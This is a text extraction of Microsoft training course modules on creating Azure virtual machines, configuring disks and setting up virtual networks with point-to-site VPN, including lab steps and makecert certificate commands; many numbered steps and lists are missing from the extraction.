Note: The app is for demonstration purposes and is not completely functional.
2.
Results: After you complete this exercise, you will have successfully created, deployed, and configured an
Azure Cloud Service.
Module 3
Virtual Machines in Microsoft Azure
Contents:
Module Overview
3-1
3-2
3-12
3-18
3-21
Module Overview
Microsoft offers several virtualization management technologies that your organization can use to resolve
problems that you may encounter when managing server computing environments. For example, server
virtualization can help reduce the number of physical servers, and provide a flexible and resilient server
solution. You can deploy virtual machines on your locally installed servers or in Microsoft Azure. In this
module, you will learn how to create and configure virtual machines, and how to manage their disks.
Objectives
After completing this module, you will be able to:
Lesson 1
Virtual machines (VMs) provide many benefits over traditional physical machines. You can deploy virtual
machines on physical servers in your IT environment, or you can choose to deploy virtual machines in
Microsoft Azure. In this lesson, you will learn how to create, deploy, and configure virtual machines in
Microsoft Azure.
Lesson Objectives
After completing this lesson, you will be able to:
You use hardware more efficiently when you implement virtual machines. In most cases, a service or a
program does not consume more than a fraction of the virtualization servers resources. This means that
you can install multiple services and programs on the same virtualization server and then deploy them to
multiple virtual machines. This ensures a more effective use of that virtualization servers resources. For
example, you may have four separate services and programs, each of which consumes from 10 to 15
percent of a virtualization servers hardware resources. You can install these services and programs in
virtual machines, and then place them on the same hardware, where they consume 40 to 60 percent of
the virtualization servers hardware.
This is a simplified example. In real-world environments, you must make adequate preparations before
collocating virtual machines. You have to ensure that the hardware-resource needs of all the virtual
machines that the virtualization server is hosting do not exceed the servers hardware resources. Yu should
also make sure that you provide high availability.
It can be challenging to keep one particular service or program functioning reliably; it becomes even
more complicated when you deploy multiple services and programs on the same server. For example, you
might need to deploy two separate operating systems at a branch office, but these operating systems
conflict when running on the same computer. If you can afford only one server, you can solve this
problem by running these programs within virtual machines on the same server.
Consolidating Servers
With server virtualization, you can consolidate servers that would otherwise need to run on separate
hardware onto a single virtualization server. Because you can isolate each virtual machine on a
virtualization server from the other virtual machines on the same server, you can deploy services and
programs that are incompatible with one another on the same physical computer, provided that you host
them within virtual machines. Examples of such services and programs include Microsoft Exchange Server
2013, SQL Server 2012, and Active Directory Domain Services (AD DS). You should not install these
services on the same machine, but you can install them in separate virtual machines that are running on
the same host.
Virtual machine templates for common server configurations are included with products such as
Microsoft System Center 2012 Virtual Machine Manager (VMM). These templates include parameters
that are preconfigured with common settings, so you do not have to configure the setting of every
parameter manually.
You can create virtual machine self-service portals that enable end users to provision approved
servers and programs automatically. This lessens the workload of the systems administration team.
You create these virtual machine self-service portals with VMM and Microsoft System Center 2012
Service Manager.
With server virtualization, you can create separate virtual machines and run them concurrently on a single
server that is running Microsoft Hyper-V. These virtual machines are guests, while the computer that is
running Hyper-V is the virtualization server or the management operating system.
Virtual machines use virtual, or emulated, hardware. The management operating system, Windows
Server 2012 with Hyper-V, uses the virtual hardware to mediate access to actual hardware. For example,
you can map a virtual network adapter to a virtual network that you map to an actual network interface.
By default, virtual machines include the following simulated hardware:
BIOS. This simulates the computers BIOS. On a stand-alone computer, you can configure various
BIOS-related parameters. On a virtual machine, you can configure some of the same parameters,
including:
o
From which device the virtual machine boots, such as from a DVD drive, Integrated Drive
Electronics (IDE), a legacy network adapter, or a floppy disk.
Memory. You can allocate up 1 terabyte (TB) of memory resources to an individual virtual machine.
IDE controller 0. A virtual machine can support only two IDE controllers and, by default, two are
allocated to each virtual machine. Each IDE controller can support two devices.
You can connect virtual hard drives or virtual DVD drives to an IDE controller. You can use IDE controllers
to connect virtual hard disks and DVD drives to virtual machines that use any operating system that does
not support integration services.
IDE controller 1. Enables deployment of additional virtual hard drives and DVD drives to the virtual
machine.
SCSI controller. You can use a small computer system interface (SCSI) controller only on virtual
machines that have operating systems that support integration services.
Synthetic network adapter. Synthetic network adapters represent computer network adapters. You
can only use synthetic network adapters with supported virtual machine guest operating systems.
Disk drive. Enables you to map a virtual floppy disk image to a virtual disk drive.
You can add the following hardware to a virtual machine by editing the virtual machines properties, and
then clicking Add Hardware:
SCSI controller. You can add up to four virtual SCSI devices. Each controller supports up to 64 disks.
Network adapter. A single virtual machine can have a maximum of eight synthetic network adapters.
Legacy network adapter. You can use legacy network adapters with any operating systems that do
not support integration services. You can also use legacy network adapters to deploy operating
system images throughout the network. A single virtual machine can have up to four legacy network
adapters.
Fibre Channel adapter. If you add a Fibre Channel adapter to a virtual machine, the virtual machine
can then connect directly to a Fibre Channel SAN. You can only add a Fibre Channel adapter to a
virtual machine if the virtualization server has a Fibre Channel host bus adapter (HBA) that also has a
Windows Server 2012 driver that supports virtual Fibre Channel.
RemoteFX 3D video adapter. If you add a RemoteFX 3D video adapter to a virtual machine, the virtual
machine can then display high performance graphics by leveraging Microsoft DirectX and graphics
processing power on the host Windows Server 2012 server.
Most operating systems and programs that run in virtual machines are not aware that they are virtualized.
Using emulated hardware enables operating systems that are not virtualization-aware to run in virtual
machines. In machines that can run enlightened operating systems, Integration Services allow the virtual
machines to access synthetic devices, which perform better. With the broad adoption of virtualization,
many modern operating systems now include Integration Services.
Windows Server 2012 R2 changes all of this. It fully supports the existing type of virtual machines, and
names them collectively generation 1 virtual machines. It provides support for the new type of virtual
machines, named generation 2 virtual machines. Generation 2 virtual machines function as if their
operating systems are virtualization-aware. Because of this, generation 2 virtual machines do not have the
legacy and emulated virtual hardware devices found on generation 1 virtual machines. Generation 2
virtual machines use only synthetic devices. Advanced Unified Extensible Firmware Interface (UEFI) firm,
which supports Secure Boot, replaces BIOS-based firmware. Generation 2 virtual machines start from a
SCSI controller or by using the Pre-Boot EXecution Environment (PXE) on a network adapter. All
remaining virtual devices use virtual machine bus (VMBus) to communicate with parent partitions.
Generation 1 and generation 2 virtual machines have similar performance, except during startup and
operating system installation. The primary advantage of generation 2 virtual machines is that startup and
deployment are considerably faster. You can run generation 1 and generation 2 virtual machines side-byside on the same Hyper-V host.
You select the virtual machine generation when you create the virtual machine. You cannot change the
generation later.
Generation 2 virtual machines currently support only Windows Server 2012, Windows 8 (64-bit), and
newer 64-bit Windows operating systems. Therefore, generation 1 virtual machines, which support almost
any operating system, will continue to be in use for the foreseeable future. Generation 2 virtual machines
do not currently support Microsoft RemoteFX.
Apart from using the Azure environment for testing or proof-of-concept, there are several more scenarios
where you can benefit from running virtual machines in Microsoft Azure:
You can use virtual machines in Azure for development or testing. Microsoft Azure provides an
inexpensive and reliable test platform that you can deploy within minutes. You can also use additional
services from Microsoft Azure, such as SQL Databases, Storage, or ServiceBus to support your testing.
You can move your virtual machines from an on-premises Hyper-V deployment to Microsoft Azure.
For example, you can move a virtual hard drive from your local environment and run it with virtual
machines in Microsoft Azure.
You can extend your data center by using Microsoft Azure. By using this approach, you can deploy
several virtual machines in Microsoft Azure and connect them to your on-premises environment by
using Azure Virtual Networks.
Deploying virtual machines in Microsoft Azure is somewhat different from deploying them on a local
Hyper-V environment. In the Hyper-V environment, you configure all properties of the virtual machine; in
the Microsoft Azure environment, you must choose between several preconfigured options for virtual
machine configuration. In addition, you have to decide if you are going to use your own .vhd file as an
image for the virtual machine or if you will use one of the platform images already present in Microsoft
Azure. When making this decision, you should also consider the licensing aspect.
When you create a new virtual machine instance by using the Azure management portal, you have three
options: create a virtual machine from the + NEW menu, create a virtual machine from the gallery, and
create a virtual machine based on your own image. When you create a virtual machine, the portal allows
you to specify the following options:
User name. This is the name of the local user account that you will use when managing the server.
Pricing tier. You can use this option to configure the pricing tier that correlates to the virtual
hardware assigned to your virtual machine.
Optional configuration. You use this option to configure some basic operating system settings such
as automatic updates, the availability set for the virtual machine, the network configuration including
static IP address and virtual network, the storage account, and whether diagnostics should be on or
off.
Resource group. The resource group is a container that groups objects together into a collection for
easier management.
Subscription. If you have multiple Azure subscriptions, you can choose which subscription the virtual
machine should be part of.
Location. You can configure the location for the virtual machine to the most appropriate locale.
After you configure these options, the portal creates the virtual machine with the settings that you have
specified. At this time, Microsoft Azure supports only generation 1 virtual machines. In the Azure portal,
you cannot manage virtual machine generation, but it is important to consider this when using the virtual
machine image create on your local Hyper-V environment.
Also, the Azure platform does not provide console access to a virtual machine, and most Azure VMs,
irrespective of size, have only one virtual network adapter, which means that they also can have only one
IP address.
When running Azure VMs, you pay for the service on an hourly or per-minute basis. The price for the
specific virtual machine is based on the size, the operating system, and the additional software installed
on the virtual machine. Because your virtual machine allocates resources on the Azure platform, you are
charged when the virtual machine status is Running or Stopped, but you are not charged when the
machine is in Stopped (Deallocated) state. When you shut down the virtual machine from its operating
system, it will go into the Stopped state, and you will be charged for it, even if it is not running. Only when
you shut down the virtual machine from the Azure portal will it go into the Stopped (Deallocated) state.
Some additional charges may appear for the storage that the virtual machine uses in addition to the
operating system disk.
Additional Reading: For more information on Azure virtual machines, go to
Windows Server
Microsoft SharePoint
If you are performing a Linux installation, you can select from multiple versions of the following
distributions:
Ubuntu
CentOS
SUSE
Oracle
Puppet Labs
Finally, an installation can also be based on images or disks that you have previously uploaded to Azure.
After you have selected the operating system or image that you wish to deploy, the next step in the
gallery wizard asks for virtual machine configuration details. These details include:
Deployment tier
Username
A key aspect of these configuration steps is the deployment tier and size of the instance. The Azure offer
consists of several virtual machine pricing tiers. For example, a basic deployment tier and a standard
deployment tier offer the following sizes for general purpose use:
Besides basic tier, which has a very affordable monthly price, there are additional tiers for more
demanding services. The standard deployment tier includes the features of the basic deployment tier in
addition to autoscaling and load balancing. Both of these features are not available in the basic
deployment tier. These options are typically necessary for memory-intensive services such as database
services. Lastly, there is a compute-intensive deployment tier that offers all that the standard tier includes
with some additional features. Note that the compute-intensive deployment tier comes standard with a
40 gigabyte (GB) InfiniBand network, and Remote Direct Memory Access (RDMA) support. For example,
you can choose some of these tiers:
Microsoft is updating tiers regularly, so we recommend that you review the current offer on the Azure
management portal.
After you have created a virtual machine instance, you can use two primary methods to connect and
manage the virtual machine:
Remote Desktop Protocol, initiated from within the Azure management portal
Additional Reading: For more information on Virtual Machine and Cloud Service Sizes for
Azure, go to
Demonstration Steps
Create a virtual machine
1.
2.
3.
VM name: server<your_initials>-10979
Password: Moc1500!
Select to create a virtual machine with these settings and wait for a couple minutes until the virtual
machine is created.
On the Monitor tab, you can find real-time information about the performance of critical components
of your virtual machine. You can monitor central processing unit (CPU), Disk, and Network resources.
The Endpoints tab lets you configure connection endpoints for the virtual machine, as discussed
earlier in this lesson.
The Configure tab provides options for virtual machine configuration. On this tab, you can change
the virtual machine tier and size, and you can also configure the virtual machine availability options
by configuring an availability set.
By configuring an availability set, you provide redundancy for an application that is running on one or
more virtual machines. When you put two or more virtual machines into the availability set, you ensure
that, during a planned or unplanned maintenance event, at least one virtual machine will be available and
meet the 99.95% Azure service level agreement (SLA). In practice, when you place two or more virtual
machines in the availability set, you inform the Microsoft Azure fabric controller that these virtual
machines are hosting the same service, and that they should not be taken down at the same time. Besides,
virtual machines that are part of an availability set are spread across different racks in the Azure data
center, which means they have separate power supplies and switches.
The Azure platform controls these operations by using the Update Domain and Fault Domain objects.
Update Domain objects help the Azure platform to determine which virtual machines (or physical
hardware that hosts them) can or cannot be rebooted at the same time. Fault Domain objects define the
group of virtual machines that share a common power source and network switch. When you configure
up to five virtual machines in the same availability set, they will never all share the same Fault Domain
object.
Note: Do not confuse availability sets with high availability technologies such as failover
clustering or Network Load Balancing (NLB).
For an application running within virtual machines, you can also configure scaling. Before you configure
any scaling options, you must assign the virtual machines to the same availability set. You can scale your
application manually or you can set parameters to scale it automatically. Virtual machines that you assign
to the availability set are turned on in a scale-up action and turned off in a scale-down action. CPU core
usage affects application scaling. Larger virtual machines have more cores available. You can scale
applications within the core limits for your Azure subscription. For example, if you have an Azure
subscription that has a limit of 20 cores and you run an application with two medium-sized virtual
machines (which use four cores in total), you can only scale up the other cloud service deployments in
your subscription by 16 cores. All virtual machines in an availability set that you use in scaling an
application must be the same size.
Demonstration Steps
1.
2.
Click the virtual machine that you created in the previous demonstration. Show available options
3.
Open Azure portal from Azure preview portal. In the Azure portal, click on the virtual machine
created in previous demonstration.
4.
Browse through the DASHBOARD, MONITOR, and ENDPOINTS tabs and review the available
options.
5.
On the CONFIGURE tab, change the size of the virtual machine to A1.
6.
You can connect to your Azure virtual machine directly from the Azure management portal by choosing
the Connect option after selecting a virtual machine. In case of a Windows virtual machine, you will be
prompted to download the .rdp file with settings needed to make a connection to the virtual machine. If
you want to make an SSH connection, you can find SSH information such as the host name and port
number in the Management Portal by selecting the virtual machine and looking for SSH Details in the
Quick Glance section of the dashboard.
Besides using Remote Desktop Protocol (RDP) or SSH to connect to the virtual machine, you can also
specify a custom port and protocol to make a connection. To allow access to the virtual machine, you
need to create an endpoint. Two endpoints are created by default when you create a new virtual machine,
but you can create more by using the management portal.
Each virtual machine created by using an image from the Azure gallery comes with the local Windows
Firewall enabled. Windows Firewall is configured with inbound rules according to the default endpoints
created for the specific virtual machine. However, if you create additional endpoints later, you will also
have to create appropriate inbound rules on the local firewall on the virtual machine. In addition, if you
are using your custom image on an Azure virtual machine, you will have to set all firewall rules manually.
Note: If you forget the user name and password for the Azure virtual machine, you can
perform a password reset by using the VMAccess extension. You can enable this extension
during the wizard for creating an Azure virtual machine. Alternatively, you can also use the
Set-AzureVMaccessExtension cmdlet from Microsoft Azure PowerShell module to add this
extension after deploying the virtual machine. With this extension, you can also reset Remote
Desktop Access or Secure Shell (SSH) settings on a virtual machine.
If you are having trouble connecting to a virtual machine in Microsoft Azure, you can try the following
troubleshooting steps:
Ensure that you are using the correct user account. If you added a machine to the Active Directory
Domain Services (AD DS) domain, ensure that you are using the correct domain to sign in.
If you are using a specific endpoint with custom values for port and protocol to connect, ensure that
your local firewall allows this connection.
Demonstration Steps
Connect to a virtual machine by using Remote Desktop Connection
Switch back to the Azure preview portal, click the newly created virtual machine, and then connect to
the virtual machine.
Sign in to the virtual machine and navigate around the server configuration by viewing Server
Manager and File Explorer.
2.
Lesson 2
Configure Disks
Each virtual machine uses disks to store data. You must configure at least one disk on each virtual
machine to store operating system files. You can add more disks to each virtual machine deployed onpremises or in Microsoft Azure.
Virtual machines deployed in the Hyper-V environment use the .vhd or .vhdx virtual disk formats. In this
lesson, you will learn about virtual machine disks and how to manage them.
Lesson Objectives
After completing this lesson, you will be able to:
Configure disks.
Note: Some editions of Windows 7 and Windows Server 2008 R2 also support booting
from virtual hard disk.
Virtual Hard Disks in .vhd Format vs. Virtual Hard Disks in .vhdx Format:
Virtual hard disks with the .vhdx format can be as large as 64.
Operating system disk. Each machine has an operating system disk attached. This disk is attached as a
serial ATA (SATA) drive and labeled with the letter C. It has a capacity of 127 GB. This disk contains
the operating system of the virtual machine. In the Azure infrastructure, each operating system disk is
created in three copies for redundancy, but this process is transparent to the user.
Temporary disk. As with the operating system disk, this disk is created automatically during the
creation of the virtual machine. It has the same size as the operating system disk, and it is labeled with
the letter D. It is important to note that you should not use this disk for storing data. It is there to
provide temporary storage for applications and processes and to store data that you do not need to
keep, such as page or swap files. The temporary storage is present on the physical machine that is
hosting your virtual machine. In some scenarios, a virtual machine can move to a different physical
host machine, such as in a power failure. When this happens, your virtual machine is recreated on the
new host machine by using the operating system disk. Any data saved on the previous temporary
drive will not be migrated, and your virtual machine will be assigned a new temporary drive. In
addition, when you resize your virtual machine or when you shut it down temporarily, storage will be
deleted.
Data disk. You should use this type of disk as data storage. Its maximum size is 1 TB, and you can
label it with the letter of your choice. Unlike the operating system disk, this disk is attached to the
SCSI interface of the virtual machine. This disk, along with an operating system disk, is stored in an
Azure Storage account as a page blob. You will discuss types of Azure storage in later modules. Each
disk type is based on the .vhd format. The number of data disks assigned to the virtual machine that
you choose from the gallery depends on the deployment and pricing tier that you choose.
You can use the Azure management portal or Windows PowerShell to attach disks to a virtual machine.
The Add-AzureDataDisk cmdlet can attach an existing data disk to a virtual machine or create a new
data disk for a virtual machine.
You must consider the following factors when using virtual disks in Azure:
Azure does not support the .vhdx format. All virtual disks must use the .vhd format.
Azure does not support dynamically expanding disks. All virtual disks must be fixed disks.
.vhd files remain in your storage account even if you remove them from a virtual machine or delete
the virtual machine. You must manually manage the .vhd files to minimize storage space waste.
Alternatively, you can use Windows PowerShell to manage the .vhd files automatically.
You must download and install the Azure Windows PowerShell module on an on-premises computer.
The module contains the Add-AzureVHD cmdlet, which you will use to upload your custom images
to Azure.
You must create a .vhd file containing your custom Windows operating system image. Note that
Azure does not support .vhdx files, but you can convert your existing .vhdx files to .vhd before you
upload them.
Azure must support the operating system in the image. Azure supports images containing Windows
Server 2008 R2 and newer versions.
2.
Run the upload command. For example, your system has the following parameters:
o
3.
Add the image to your custom images list. You can add the image by using the Azure management
portal or by using Windows PowerShell. When the image is in the custom images list, it is available for
deployment when you create a new virtual machine.
You also have the option of using the VM Depot instead of uploading an image. The VM Depot contains a
large number of community-developed images that you can customize and use when you are creating
new VMs. However, the depot contains only non-Windows images, most of which are based on the Linux
operating system. Many of the images are based on their intended use. For example, you can find images
configured for blogging services and web servers. Community members provide and license the virtual
machine images on this site to you. Microsoft Open Technologies does not screen these images for
security, compatibility, or performance, and does not provide any license rights or support for them.
Basic Disks
All versions of the Windows operating system support basic storage, which uses partition tables.
A basic disk is one that you initialize for basic storage and that contains basic partitions such as primary
partitions and extended partitions. You can subdivide extended partitions into logical volumes.
By default, when you initialize a disk in the Windows operating system, the disk is configured as a basic
disk. It is easy to convert basic disks to dynamic disks without any data loss. However, when you convert a
dynamic disk to a basic disk, all data on the disk is lost.
Dynamic Disks
The Microsoft Windows 2000 Server operating system introduced dynamic storage. By using dynamic
storage, you can build fault-tolerant, redundant storage systems. You can also perform disk and volume
management without having to restart computers that are running Windows operating systems.
A dynamic disk is one that you initialize for dynamic storage and that contains dynamic volumes. You can
create a dynamic volume from free space on one or more disks. You can format the volume with a file
system and assign it a drive letter or configure it with a mount point.
Dynamic disks do not perform better than basic disks, and some programs cannot address data that is
stored on dynamic disks. For these reasons, you would not normally convert basic disks to dynamic disks
unless you need to use some of the additional volume configuration options that dynamic disks provide.
ReFS
In Windows Server 2012, besides being able to format volumes with file allocation table (FAT) or New
Technology File System (NTFS), you can also use Resilient File System (ReFS). ReFS is a new feature in
Windows Server 2012 that is based on the NTFS file system. It provides the following features and
advantages:
Increased reliability, especially during a loss of power, over NTFS, which can experience corruption in
similar circumstances.
ReFS uses a subset of NTFS features, so it maintains backward compatibility with NTFS. Therefore,
programs that run on Windows Server 2012 can access files on ReFS, just as they would on NTFS.
However, an ReFS-formatted drive is not recognized when placed in computers that are running Windows
Server operating systems older than Windows Server 2012. You can use ReFS drives with Windows 8.1, but
not with Windows 8.
Windows Server 2012 also provides a new way to manage storage that is attached to the physical host or
a virtual machine, by implementing Storage Spaces technology. Storage Spaces is a storage virtualization
feature that Windows Server 2012 and the Windows 8 operating system include.
The Storage Spaces feature has two components:
Storage pools. Storage pools are a collection of physical disks that have been aggregated into a single
logical disk so that you can manage the multiple physical disks as a single disk. You can use Storage
Spaces to add physical disks that have different sizes and interfaces to a storage pool.
Storage spaces. Storage spaces are virtual disks created from free space in a storage pool. Storage
spaces have such attributes as resiliency level, storage tiers, fixed provisioning, and precise
administrative control.
Demonstration Steps
1.
2.
Navigate to the virtual machine that you created in the first demonstration.
3.
4.
Ensure that you see only the operating system disk attached to the virtual machine.
5.
In the Disks pane of Virtual machine properties, choose to attach new disk.
6.
Select the default storage account that was created during the creation of the virtual machine.
7.
8.
9.
After the disk is attached to the virtual machine, connect to it and verify that the disk appears in the
Disk Management console.
Orders at A. Datum Corporation have increased significantly. Currently, the order systems run on a server
that provides other in-house services. You have decided to use a dedicated server for your order systems.
Furthermore, this server needs to be able to cope with increasing workloads in the event of future
changes in order volume. With this in mind, you have decided to create an Azure-based server and
evaluate this as a host for the order systems.
Objectives
After completing this lab, you will be able to:
As a part of your task to evaluate server hosting in Microsoft Azure, you have to create a virtual machine
from the Azure gallery.
The main tasks for this exercise are as follows:
1.
2.
Sign in to your Azure account on the Azure portal available at. After
2.
3.
VM name: server<initials>-10979
Password: Moc1500!
Select to create a virtual machine with these settings, and then wait for a couple of minutes until the
virtual machine is created.
Switch back to the Azure management portal, and then verify that the virtual machine is displayed
and has the Running status.
Results: After completing this exercise, you will have created and verified a Microsoft Azure virtual
machine.
2.
Open the Azure preview portal, click the HOME tab and then click to open the Azure portal.
2.
In the Azure portal, click the virtual machine that you created in the previous demonstration.
3.
Browse through the DASHBOARD, MONITOR, ENDPOINTS, and CONFIGURE tabs and review the
available options.
2.
3.
Connect to the virtual machine from the Azure portal, sign in, and then navigate around the server
configuration by viewing Server Manager and File Explorer. Use the credentials that you defined for
the virtual machine in the previous exercise.
4.
Results: After completing this exercise, you will have established a connection to the virtual machine.
2.
2.
3.
4.
Ensure that you see only the operating system disk attached to the virtual machine.
1.
In the Disks pane of Virtual machine properties, choose to attach a new disk
2.
Select the default storage account created during virtual machine creation.
3.
4.
5.
After the disk is attached to the virtual machine, use Azure preview portal to connect to it
6.
Sign in to virtual machine with credentials defined in Exercise 1. Open Computer Management in the
virtual machine window, and verify that disk appears in the Disk Management console.
Results: After completing this exercise, you will have attached a new disk to a virtual machine.
Before creating Azure virtual machines, ensure that you are familiar with the pricing for the capacity
you need.
Ensure that the size of your virtual machine will meet the needs of services that it hosts.
Use availability sets when you host the same service in more than one virtual machine.
Review Question
Question: Can you create generation two virtual machines in Microsoft Azure?
Module 4
Virtual Networks
Contents:
Module Overview
4-1
4-2
4-5
4-8
4-12
4-15
Module Overview
Microsoft Azure virtual networks are a critical component of most Azure deployments. With Azure virtual
networks, you can establish secure and reliable communication between Azure virtual machines and
between your data center and Azure. By using Azure virtual networks, you can effectively extend your
data center to Microsoft Azure.
In this module, you will learn how to create and implement Azure networks, and how to implement
communications between your on-premises infrastructure and Azure.
Objectives
After completing this module, you will be able to:
Lesson 1
You must be familiar with virtual networks before implementing them in Azure. Also, it is important that
you determine whether your cloud deployment requires virtual networks. In this lesson, you will learn
about virtual networks and their proper implementation.
Lesson Objectives
After completing this lesson, you will be able to:
When creating Azure virtual networks, you can allocate IP addresses for the Azure virtual machines from
the same IP address space that you use in your own network. This greatly simplifies the deployment of the
Azure virtual machines (VMs) and the movement of the locally deployed virtual machines to the Microsoft
Azure platform. Because the connection between your local infrastructure and Azure virtual machines
happens on the IP level, the connection does not depend on an operating system running in the virtual
machines. After you establish this connection, the Azure virtual machines running in virtual networks look
like just another part of your organizations network. As a result, virtual machines in Azure can also access
resources in your local network infrastructure. For example, you can run a service in an Azure VM that
uses data stored on your locally deployed storage.
Additional Reading: For more information on virtual networks, go to
If you do not plan to connect your Azure virtual machines to your local network infrastructure, you
will use cloud-only virtual network deployments. In this case, on-premises resources can access Azure
virtual machines only through connection endpoints. The Azure virtual machines can communicate
with each other and access the Internet, but they cannot use any VPN-based connections.
To connect your internal data center to Azure virtual machines by using a secure connection, and to
provide two-way resource access between Azure VMs and an on-premises infrastructure, you create a
Cross-Premise virtual network. When creating a Cross-Premise virtual network, you must create a
gateway to your internal network. You must also consider IP addressing.
Lesson 2
To create and use virtual networks, you should configure several configuration options. In this lesson, you
will learn about virtual network components, and how to create virtual networks. Also, you will learn
about Microsoft Azure Traffic Manager.
Lesson Objectives
After completing this lesson, you will be able to:
After you configure your network location, you will have the option to configure Domain Name System
(DNS) servers for your network. By default, Azure provides name resolution for your virtual network.
However, if you have more advanced DNS requirements, or want to use dedicated DNS servers for your
Azure virtual machines, you have the option to configure DNS servers for each virtual network you create.
If you do not want to connect your virtual network with an on-premises infrastructure, the only thing you
should configure for the Azure virtual network is the Virtual Network Address Space. When configuring
the Virtual Network Address Space, you specify the address space that you want to use within the virtual
network you create. You can choose between 10.0.0.0, 172.16.0.0, and 192.168.0.0 with variable length
subnet masks. You can also configure additional subnets within these address spaces. IP addresses from
ranges configured here will be dynamically assigned to your virtual machines. However, you cannot use
these IPs for connection endpoints on the Internet.
If you choose to connect your virtual network with your on-premises infrastructure, you must select pointto-site or site-to-site connectivity options on the DNS Servers and VPN Connectivity page of the wizard. If
you choose to create site-to-site connectivity, you will have to configure on-premises VPN device IP
address, and specify your local IP scope. For pointto-site connectivity, you must select the IP address
range that will be used for VPN clients.
Demonstration Steps
1.
2.
3.
4.
5.
6.
7.
8.
When a user wants to access your application or a web site, the users machine will look up the DNS name
of your application. Queries for the IP address will go to Azure DNS servers. DNS in Azure will then search
for the Traffic Manager policy for the name that was received in a query. If it finds one, Azure Traffic
Manager calculates the most efficient connection for the specific user, based on policy, and directs the
user to the appropriate Azure data center.
When you create an Azure Traffic Manager policy for your application, there are three options that you
can configure to determine how Azure Traffic Manager behaves:
Performance. If you choose this option, Traffic Manager sends all client requests to the data center
with the lowest latency from the user system. Usually, this will be the data center that is
geographically closest to the user.
Failover. If you choose this option, Traffic Manager directs all client requests to the data center that
you specify in the policy. If the data center is unavailable, Traffic Manager directs requests to other
data centers in the priority order defined by the policy.
Round Robin. If you choose this option, Azure Traffic Manager equally distributes client requests
across all data centers in which the application is running.
Azure Traffic Manager periodically checks all instances of the application that it manages. It periodically
pings each copy of the application via an HTTP GET and records the response. If there is no response, it
stops directing users to that instance of the application until it reestablishes the connection.
Lesson 3
In many scenarios, you might need to initiate a remote connection to the Azure virtual network. Azure
virtual networks give you the ability to initiate a secure point-to-site VPN connection from anywhere, by
using a software VPN client. In this lesson, you will learn about point-to-site VPN connections and how to
implement them.
Lesson Objectives
After completing this lesson, you will be able to:
Also, you will have to configure virtual network address space that will be used within the virtual network
you are creating. This network address space also should not overlap with address space that you use in
your on-premises environment.
Each point-to-site VPN requires that you configure a dynamic routing gateway. A point-to-site VPN
requires a gateway subnet. Only the virtual network gateway uses the gateway subnet.
You use certificates to perform authentication for the clients that are initiating a point-to-site VPN
connection. You must first create a root certificate and upload it to the Azure management portal. Then
you create client certificates used for authentication. You create these certificates manually by using the
makecert command line utility (part of Microsoft Visual Studio tools). Currently, you cannot use an
internal certification authority (CA) to generate these certificates, so you must use self-signed certificates.
You must install a client certificate on each computer that you want to connect to the virtual network, so
you must generate a client certificate for each machine that you want to connect to the Azure virtual
network. You can generate certificates for all clients on a single machine, export them, and then import on
each client. It is important that you export certificates in .pfx format that includes the private key. The next
topic will cover the certificate generation process
Based on generated certificates and the dynamic gateway, the Azure platform will generate VPN client
software that you should install on each machine that will be connecting to the Azure virtual network.
Currently, the Azure platform supports the following operating systems as clients:
You will choose to download the 32-bit or 64-bit VPN client. You can then manually install VPN client
software on each machine, or use a software distribution mechanism, such as Microsoft System Center
Configuration Manager.
1.
2.
Create a dynamic routing gateway. A gateway is a mandatory component for a point-to-site VPN
connection. You must enable a dynamic routing gateway after you create your virtual network with
point-to-site connectivity. It usually takes up to 15 minutes to create the gateway.
3.
Create certificates. As described earlier, certificates are used for VPN authentication purposes. To
create a root self-signed certificate, you should issue the following command:
makecert -sky exchange -r -n "CN=RootCertificateName" -pe -a sha1 -len 2048 -ss My
"RootCertificateName.cer"
After you create the root certificate, you should upload it to Azure by using the Certificates tab in the
Network configuration pane. Then you should create client certificates. You use the same commandline utility as for the root certificate, but with different parameters. For example:
makecert.exe -n "CN=ClientCertificateName" -pe -sky exchange -m 96 -ss My -in
"RootCertificateName" -is my -a sha1
This command creates a client certificate in a users Personal store on the computer where you issue
this command. You can generate as many client certificates as needed by using this same command
and typing different values for ClientCertificateName. We recommend that you create unique client
certificates for each computer that you want to connect to the virtual network. After you create the
client certificates, you should export them in the .pfx format and import them on the client machines
that will be connecting to the network.
4.
Download and install the VPN client software. After you configure a dynamic gateway and
certificates, you will be see a link to download a VPN client for a supported operating system. You
should download the appropriate VPN client (32-bit or 64-bit) and install it on client machines that
will be initiating a VPN connection. Ensure that you also install the client certificate from step 3 before
you initiate the VPN connection.
Demonstration Steps then press Enter. Do not close the command
prompt window.
7.
Switch back to the Azure management portal, and click the CERTIFICATES tab on the VNET1 portal.
Upload the certificate that you just created and stored to C:\temp.
8.
Restore the command prompt window. Type makecert.exe -n "CN=VNET1Client" -pe -sky
exchange -m 96 -ss My -in "VNET1Cert" -is my -a sha1, and then press Enter.
9.
Switch back to the Azure portal and in the VNET1 configuration pane, on the DASHBOARD tab, click
to create gateway.
A. Datum Corporation is planning to create several cloud-based virtual machines. You want to create a
configurable network to control communication between these virtual machines. Also, A. Datum wants to
evaluate ways to connect remote workers to cloud resources by using VPN. To address this requirement,
you decided to implement point-to-site VPNs.
Objectives
After completing this lab, you will be able to:
Lab Setup
Estimated Time: 60 minutes
Sign in to your classroom computer by using the credentials your instructor provides.
You must have successfully completed Lab 1 before you start working on this lab.
2.
3.
4.
5.
6.
Select the IP range 192.168.0.0/24 as the range for Virtual Network Address Spaces.
7.
8.
Results: After completing this exercise, you will have created a new virtual network.
2.
3.
Open the Azure preview portal at and sign in with the Microsoft account
associated with your Azure subscription.
2.
Create a new virtual machine in the Azure preview portal with following parameters:
o
Password: Moc1500!
Create a new virtual machine in the Azure preview portal with following parameters:
o
Password: Moc1500!
In the Azure preview portal, connect to the Server1 virtual machine by using an RDP connection.
2.
3.
In the Azure preview portal, connect to the Server2 virtual machine by using an RDP connection.
4.
Note the Internal IP address assigned to Server2. Open Network and Sharing Center on Server2 and
enable Network discovery and file sharing.
5.
On the Server1 machine, open File Explorer and in the address bar, type \\IPaddressofServer2, and
then press Enter. Ensure that the server opens, which confirms that your servers can communicate via
virtual network VNET1.
Results: After completing this exercise, you will have created two new virtual machines and assigned them
to VNET1. press Enter. Do not close the command
prompt window.
7.
Switch back to the Azure management portal, and click the CERTIFICATES tab on the VNET1 portal.
Upload the certificate that you just created and stored to C:\temp.
8.
Restore the command prompt window. Type the following command: makecert.exe -n
"CN=VNET1Client" -pe -sky exchange -m 96 -ss My -in "VNET1Cert" -is my -a sha1, and press
Enter.
9.
Switch back to the Azure portal and in the VNET1 configuration pane, on the DASHBOARD tab, click
to create the gateway.
10. After gateway is created, download 64-bit VPN client from DASHBOARD and install it on the
